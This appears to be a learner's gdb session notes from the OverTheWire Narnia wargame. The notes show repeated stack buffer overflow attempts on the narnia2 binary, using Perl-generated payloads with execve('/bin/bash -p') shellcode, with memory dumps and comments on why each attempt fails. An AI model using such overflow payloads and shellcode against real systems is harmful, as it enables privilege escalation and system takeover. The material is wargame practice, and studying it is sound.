```
Last login: Mon Nov 20 22:00:33 on ttys002
ammmber:~ liqin$ ssh narnia2@narnia.labs.overthewire.org -p 2226

narnia2@narnia:~$ cd /narnia

narnia2@narnia:/narnia$ gdb ./narnia2

************
* deadbeef *
************

(gdb) r $(perl -e 'print "A"x140 . "\xef\xbe\xad\xde"')
Starting program: /narnia/narnia2 $(perl -e 'print "A"x140 . "\xef\xbe\xad\
xde"')

Breakpoint 1, 0x080484b1 in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
(gdb) x/40xw $esp-144
0xffffd520: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd530: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd540: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd550: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd560: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd570: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd580: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd590: 0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5a0: 0x41414141      0x41414141      0x41414141      0xdeadbeef
0xffffd5b0: 0x00000000      0xffffd644      0xffffd650      0x00000000
```

I guess the addr should not change
if things goes right

```
*******
* 2 0 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\
x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\
x53\x89\xe1\xcd\x80" . "b" x 57  . "\x20\xd5\xff\xff"')
```

```
Program received signal SIGSEGV, Segmentation fault.
0xf7e2f600 in __libc_start_main () from /lib32/libc.so.6
(gdb) x/40xw $esp-144
0xffffd520: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd530: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd540: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd550: 0x0b6a6161      0x66529958      0x89702d68      0x686a52e1
0xffffd560: 0x7361622f      0x69622f68      0x3365896e      0x89535152
0xffffd570: 0x6280cde1      0x62626262      0x62626262      0x62626262
0xffffd580: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd590: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd5a0: 0x62626262      0x62626262      0x62626262      0xf7e2f600
0xffffd5b0: 0x00000003      0xffffd644      0xffffd654      0x00000000
```

20 is the most weird, address all normal but place should be 20 turn to be a lib addr

```
*******
* 3 0 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\
x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\
x53\x89\xe1\xcd\x80" . "b" x 57  . "\x30\xd5\xff\xff"')
```

this weird address is the same in below for 30 40 50 60

```
Program received signal SIGSEGV, Segmentation fault.
0xffffd561 in ?? ()
(gdb) x/40xw $esp-144
0xffffd952: 0x31333b31      0x742e2a3a      0x303d7a67      0x31333b31
0xffffd962: 0x612e2a3a      0x303d6372      0x31333b31      0x612e2a3a
0xffffd972: 0x303d6a72      0x31333b31      0x742e2a3a      0x303d7a61
0xffffd982: 0x31333b31      0x6c2e2a3a      0x303d6168      0x31333b31
0xffffd992: 0x6c2e2a3a      0x303d347a      0x31333b31      0x6c2e2a3a
0xffffd9a2: 0x303d687a      0x31333b31      0x6c2e2a3a      0x3d616d7a
0xffffd9b2: 0x333b3130      0x2e2a3a31      0x3d7a6c74      0x333b3130
0xffffd9c2: 0x2e2a3a31      0x3d7a7874      0x333b3130      0x2e2a3a31
0xffffd9d2: 0x3d6f7a74      0x333b3130      0x2e2a3a31      0x3d7a3774
0xffffd9e2: 0x00000068      0x00000000      0x0000702d      0x333b0000
```

surprise output…

```
*******
* 4 0 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\
x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\
x53\x89\xe1\xcd\x80" . "b" x 57  . "\x40\xd5\xff\xff"')
```

```
Program received signal SIGSEGV, Segmentation fault.
0xffffd561 in ?? ()
(gdb) x/40xw $esp-144
0xffffd752: 0x00000000      0x00000000      0x5a6ff800 0xa1bac9e9
0xffffd762: 0x74ffc65f  0x424519e5      0x3836697c      0x00000036
0xffffd772: 0x00000000      0x00000000      0x616e2f00      0x61696e72
0xffffd782: 0x72616e2f      0x3261696e      0x61616100      0x61616161
0xffffd792: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd7a2: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd7b2: 0x61616161      0x61616161      0x6a616161      0x5299580b
0xffffd7c2: 0x702d6866      0x6a52e189      0x61622f68      0x622f6873
0xffffd7d2: 0x65896e69      0x53515233      0x80cde189      0x62626262
0xffffd7e2: 0x00000068      0x00000000      0x0000702d      0x62620000
```

things become werid in later place

```
*******
* 5 0 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\
x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\
x53\x89\xe1\xcd\x80" . "b" x 57  . "\x50\xd5\xff\xff"')
```

```
Program received signal SIGSEGV, Segmentation fault.
0xffffd561 in ?? ()
(gdb) x/40xw $esp-144
0xffffd552:  0x99580b6a       0x2d686652       0x52e18970       0x622f686a
0xffffd562:  0x2f687361       0x896e6962       0x51523365       0xcde18953
0xffffd572:  0x62626280       0x62626262       0x62626262       0x62626262
0xffffd582:  0x62626262       0x62626262       0x62626262       0x62626262
0xffffd592:  0x62626262       0x62626262       0x62626262       0x62626262
0xffffd5a2:  0x62626262       0x62626262       0xd5506262       0x0000ffff
0xffffd5b2:  0xd6440000       0xd650ffff       0x0000ffff       0x00000000
0xffffd5c2:  0x00000000       0x70000000       0xdc04f7fc       0xd000f7ff
0xffffd5d2:  0x0000f7ff       0x70000000       0x7000f7fc       0x0000f7fc
0xffffd5e2:  0x00000068       0x00000000       0x0000702d       0x00000000
```

still with the 50 but not right place

****
* 60 *
****

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\x53\x89\xe1\xcd\x80" . "b" x 57  . "\x60\xd5\xff\xff"')


Program received signal SIGSEGV, Segmentation fault.
0xffffd561 in ?? ()
(gdb) x/40xw $esp-144
0xffffd520: 0x61616161    0x61616161    0x61616161    0x61616161
0xffffd530: 0x61616161    0x61616161    0x61616161    0x61616161
0xffffd540: 0x61616161    0x61616161    0x61616161    0x61616161
0xffffd550: 0x0b6a6161    0x66529958    0x89702d68    0x686a52e1
0xffffd560: 0x7361622f    0x69622f68    0x3365896e    0x89535152
0xffffd570: 0x6280cde1    0x62626262    0x62626262    0x62626262
0xffffd580: 0x62626262    0x62626262    0x62626262    0x62626262
0xffffd590: 0x62626262    0x62626262    0x62626262    0x62626262
0xffffd5a0: 0x62626262    0x62626262    0x62626262    0xffffd560
0xffffd5b0: 0x00000000    0xffffd644    0xffffd650    0x00000000
```

all normal except this two not equal

```
*******
* 7 0 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\
x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\
x53\x89\xe1\xcd\x80" . "b" x 57  . "\x70\xd5\xff\xff"')


Program received signal SIGSEGV, Segmentation fault.
0xffffd576 in ?? ()
(gdb) x/40xw $esp-144
0xffffd520: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd530: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd540: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd550: 0x0b6a6161      0x66529958      0x89702d68      0x686a52e1
0xffffd560: 0x7361622f      0x69622f68      0x3365896e      0x89535152
0xffffd570: 0x6280cde1      0x62626262      0x62626262      0x62626262
0xffffd580: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd590: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd5a0: 0x62626262      0x62626262      0x62626262      0xffffd570
0xffffd5b0: 0x00000000      0xffffd644      0xffffd650      0x00000000
```

same as 60, but shellcode also to the end..

```
*******
* 8 0 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\
x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\
x53\x89\xe1\xcd\x80" . "b" x 57  . "\x80\xd5\xff\xff"')


Program received signal SIGSEGV, Segmentation fault.
0xffffd580 in ?? ()
(gdb) x/40xw $esp-144
0xffffd520: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd530: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd540: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd550: 0x0b6a6161      0x66529958      0x89702d68      0x686a52e1
0xffffd560: 0x7361622f      0x69622f68      0x3365896e      0x89535152
0xffffd570: 0x6280cde1      0x62626262      0x62626262      0x62626262
0xffffd580: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd590: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd5a0: 0x62626262      0x62626262      0x62626262      0xffffd580
0xffffd5b0: 0x00000000      0xffffd644      0xffffd650      0x00000000
```

as expected except behind shellcode lol

```
*******
* 5 3 *
*******
```

```
(gdb) r $(perl -e 'print "a" x 50 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89e3\x52\x51\x53\x89\xe1\xcd\x80" . "b" x 57  . "\x53\xd5\xff\xff"')


Program received signal SIGSEGV, Segmentation fault.
0xffffd553 in ?? ()
(gdb) x/40xw $esp-144
0xffffd520: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd530: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd540: 0x61616161      0x61616161      0x61616161      0x61616161
0xffffd550: 0x0b6a6161      0x66529958      0x89702d68      0x686a52e1
0xffffd560: 0x7361622f      0x69622f68      0x3365896e      0x89535152
0xffffd570: 0x6280cde1      0x62626262      0x62626262      0x62626262
0xffffd580: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd590: 0x62626262      0x62626262      0x62626262      0x62626262
0xffffd5a0: 0x62626262      0x62626262      0x62626262      0xffffd553
0xffffd5b0  0x00000000      0xffffd644      0xffffd650      0x00000000
(gdb)
```

I set this 53, as I thought this is the start place of shell code, and things seems all right

well still not work haha

So I guess, put shellcode in some well else,
used 'A' + 140 + shellcode addr?
hmm idk how to do it^^